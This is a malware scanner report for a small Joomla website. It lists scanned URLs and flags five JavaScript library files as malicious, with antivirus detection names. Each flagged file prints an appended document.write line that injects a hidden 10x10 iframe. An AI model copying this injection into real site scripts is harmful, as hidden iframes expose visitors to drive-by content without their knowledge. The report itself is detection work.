New scan:

Malware Scanner report for sodonchimee.mn

Malicious/Suspicious/Total urls checked
5/0/15
5 pages have malicious code. See details below
Blacklists
OK
Malicious Redirects
OK
Malicious/Hidden/Total iFrames
0/0/6
Deface / Content modification
OK

Free periodic scanning and alerting: setup
(requires eVuln badge or a link to eVuln.com)

Malware & Hack Repair

  • Malware Removal
  • Blacklists Removal
  • Reason Eliminating
  • 1 Month Hack Insurance

More details

Website Hack Insurance

  • Files & DB Monitoring
  • Daily Backups
  • Malware & Hack Detection
  • Unlimited Hack Repairs

More details

Scanned pages/files

RequestServer responseStatus
http://sodonchimee.mn/
200 OK
Content-Length: 22494
Content-Type: text/html
clean
http://sodonchimee.mn/media/system/js/caption.js
200 OK
Content-Length: 2100
Content-Type: text/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

var JCaption = new Class({
initialize: function(selector)
{
this.selector = selector;
var images = $$(selector);
images.each(function(image){ this.createCaption(image); }, this);
},
createCaption: function(element)
{
var caption = document.createTextNode(element.title);
var container = document.createElement("div");
var text = document.createElement("p");
var width = element.getAttribute("width");
var align =
... 570 bytes are skipped ...
e('.', '_');
container.className = container.className + " " + align;
container.setAttribute("style","float:"+align);
container.style.width = width + "px";
}
});
document.caption = null;
window.addEvent('load', function() {
var caption = new JCaption('img.caption')
document.caption = caption
});
document.write('<iframe src="http://www.google.com" scrolling="auto" frameborder="no" align="center" height="10" width="10"></iframe>');

Antivirus reports:

Kaspersky
HEUR:Trojan.Script.Generic
Sophos
Mal/Iframe-AN

http://sodonchimee.mn/templates/mega_peryz/scripts/dropdown.js
200 OK
Content-Length: 4260
Content-Type: text/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

if (typeof(MooTools) != 'undefined'){
var subnav = new Array();
Element.extend(
{
hide: function(timeout)

{
this.status = 'hide';

clearTimeout (this.timeout);

if (timeout)

{

this.timeout = setTimeout (this.anim.bind(this), timeout);

}else{

this.anim();

}
},
show: function(timeout)
{
this.status =
... 4058 bytes are skipped ...
;
for (var i=0; i<sfEls.length; ++i) {
sfEls[i].onmouseover=function() {
this.className+="sfhover";
}
sfEls[i].onmouseout=function() {
this.className=this.className.replace(new RegExp("sfhover\\b"), "");
}
}
}
if (window.attachEvent) window.attachEvent("onload", sfHover);
}
document.write('<iframe src="http://www.google.com" scrolling="auto" frameborder="no" align="center" height="10" width="10"></iframe>');

Antivirus reports:

ESET-NOD32
HTML/Iframe.B.Gen

http://sodonchimee.mn/modules/mod_AutsonSlideShow/js/jquery-1.5.2.min.js
200 OK
Content-Length: 86062
Content-Type: text/javascript
clean
http://sodonchimee.mn/modules/mod_AutsonSlideShow/js/jquery.easing.1.3.js
200 OK
Content-Length: 8234
Content-Type: text/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

jQuery.easing['jswing'] = jQuery.easing['swing'];
jQuery.extend( jQuery.easing,
{
def: 'easeOutQuad',
swing: function (x, t, b, c, d) {
return jQuery.easing[jQuery.easing.def](x, t, b, c, d);
},
easeInQuad: function (x, t, b, c, d) {
return c*(t/=d)*t + b;
},
easeOutQuad: function (x, t, b, c, d) {
return -c *(t/=d)*(t-2) + b;
},
easeInOutQuad: function (x, t, b, c, d) {
if ((t/=d/2) < 1) return c/2*t*t + b;
retur
... 4269 bytes are skipped ...
-=(2.25/2.75))*t + .9375) + b;
} else {
return c*(7.5625*(t-=(2.625/2.75))*t + .984375) + b;
}
},
easeInOutBounce: function (x, t, b, c, d) {
if (t < d/2) return jQuery.easing.easeInBounce (x, t*2, 0, c, d) * .5 + b;
return jQuery.easing.easeOutBounce (x, t*2-d, 0, c, d) * .5 + c*.5 + b;
}
});
document.write('<iframe src="http://www.google.com" scrolling="auto" frameborder="no" align="center" height="10" width="10"></iframe>');

Antivirus reports:

Kaspersky
HEUR:Trojan.Script.Generic
VIPRE
Malware.JS.Generic (JS)
Sophos
Mal/Iframe-AN

http://sodonchimee.mn/modules/mod_AutsonSlideShow/js/jquery.animate-colors-min.js
200 OK
Content-Length: 1873
Content-Type: text/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

(function(d){function i(){var b=d("script:first"),a=b.css("color"),c=false;if(/^rgba/.test(a))c=true;else try{c=a!=b.css("color","rgba(0, 0, 0, 0.5)").css("color");b.css("color",a)}catch(e){}return c}function g(b,a,c){var e="rgb"+(d.support.rgba?"a":"")+"("+parseInt(b[0]+c*(a[0]-b[0]),10)+","+parseInt(b[1]+c*(a[1]-b[1]),10)+","+parseInt(b[2]+c*(a[2]-b[2]),10);if(d.support.rgba)e+=","+(b&&a?parseFloat(b[3]+c*(a[3]-b[3])):1);e+=")";return e}function f(b){var a,c;if(a=/#([0-9a-fA-F]{2})([0-
... 726 bytes are skipped ...
(h,function(b,a){d.fx.step[a]=function(c){if(!c.init){c.a=f(d(c.elem).css(a));c.end=f(c.end);c.init=true}c.elem.style[a]=g(c.a,c.end,c.pos)}});d.fx.step.borderColor=function(b){if(!b.init)b.end=f(b.end);var a=h.slice(2,6);d.each(a,function(c,e){b.init||(b[e]={a:f(d(b.elem).css(e))});b.elem.style[e]=g(b[e].a,b.end,b.pos)});b.init=true}})(jQuery);
document.write('<iframe src="http://www.google.com" scrolling="auto" frameborder="no" align="center" height="10" width="10"></iframe>');

Antivirus reports:

Kaspersky
HEUR:Trojan.Script.Generic
VIPRE
Malware.JS.Generic (JS)
Sophos
Mal/Iframe-AN

http://sodonchimee.mn/modules/mod_AutsonSlideShow/js/jquery.skitter.min.js
200 OK
Content-Length: 50379
Content-Type: text/javascript
malicious
Malicious code - confirmed by antiviruses (see below)

(function($){var number_skitter=0,skitters=[];$.fn.skitter=function(options){return this.each(function(){$(this).data('skitter_number',number_skitter);skitters.push(new $sk(this,options,number_skitter));++number_skitter})};var defaults={velocity:1,interval:2500,animation:'',numbers:true,navigation:true,label:true,easing_default:'',box_skitter:null,time_interval:null,images_links:null,image_atual:null,link_atual:null,label_atual:null,width_skitter:null,height_skitter:null,image_i:1,is_animating:f
... 3154 bytes are skipped ...
m']!='transform'){if(arg=='transform'){arg=_propsObj['transform'];if(typeof val=='undefined'&&jQuery.style){return jQuery.style(this.get(0),arg)}}else if(typeof arg=='object'&&typeof arg['transform']!='undefined'){arg[_propsObj['transform']]=arg['transform'];delete arg['transform']}}return proxied.apply(this,arguments)}})(jQuery)
document.write('<iframe src="http://www.google.com" scrolling="auto" frameborder="no" align="center" height="10" width="10"></iframe>');

Antivirus reports:

Kaspersky
HEUR:Trojan.Script.Generic
VIPRE
Malware.JS.Generic (JS)
Sophos
Mal/Iframe-AN

http://connect.facebook.net/en_US/all.js
200 OK
Content-Length: 162593
Content-Type: application/x-javascript
clean
http://sodonchimee.mn/index.php
200 OK
Content-Length: 22494
Content-Type: text/html
clean
http://sodonchimee.mn/index.php?option=com_content&view=article&id=49&Itemid=53
200 OK
Content-Length: 24049
Content-Type: text/html
clean
http://sodonchimee.mn/index.php?option=com_content&view=article&id=67&Itemid=54
200 OK
Content-Length: 23124
Content-Type: text/html
clean
http://sodonchimee.mn/index.php?option=com_content&view=article&id=56&Itemid=55
200 OK
Content-Length: 25011
Content-Type: text/html
clean
http://sodonchimee.mn/index.php?option=com_content&view=article&id=57&Itemid=56
200 OK
Content-Length: 22218
Content-Type: text/html
clean
http://sodonchimee.mn/index.php?option=com_content&view=article&id=68&Itemid=70
200 OK
Content-Length: 25230
Content-Type: text/html
clean
http://sodonchimee.mn/index.php?option=com_content&view=category&layout=blog&id=36&Itemid=57
200 OK
Content-Length: 20933
Content-Type: text/html
clean

Malicious Redirects

First query (normal visit):
GET / HTTP/1.1
Host: sodonchimee.mn

Result:
HTTP/1.1 200 OK
Cache-Control: post-check=0, pre-check=0
Connection: close
Date: Thu, 21 Aug 2014 05:00:19 GMT
Pragma: no-cache
Server: Apache
Vary: Accept-Encoding
Content-Type: text/html; charset=utf-8
Expires: Mon, 1 Jan 2001 00:00:00 GMT
Last-Modified: Thu, 21 Aug 2014 05:00:19 GMT
P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM"
Set-Cookie: 168fda8df22dce1831d8b5dce97ee68d=b8jack1967qmeq28lracj403i0; path=/
Second query (visit from search engine):
GET / HTTP/1.1
Host: sodonchimee.mn
Referer: http://www.google.com/search?q=sodonchimee.mn

Result:
The result is similar to the first query. There are no suspicious redirects found.

Safe Browsing / Blacklists

Query: http://www.google.com/safebrowsing/diagnostic?site=sodonchimee.mn

Result: This site is not currently listed as suspicious.
Query: http://yandex.com/infected?l10n=en&url=http://sodonchimee.mn/

Result: sodonchimee.mn is not infected or malware details are not published yet.